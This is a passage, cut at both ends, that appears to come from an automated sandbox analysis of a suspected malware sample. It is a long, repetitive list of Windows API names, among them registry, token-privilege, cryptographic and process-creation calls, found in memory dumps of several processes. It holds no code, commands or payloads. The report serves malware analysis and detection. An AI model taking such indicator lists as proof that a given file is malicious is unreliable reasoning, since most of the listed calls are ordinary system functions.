"SendMessageA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00006500.00000000.68014.00E71000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00006500.00000000.68014.00E71000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00006500.00000000.68014.00E71000.00000020.mdmp") Found reference to API (Indicator: "CryptImportKey"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: 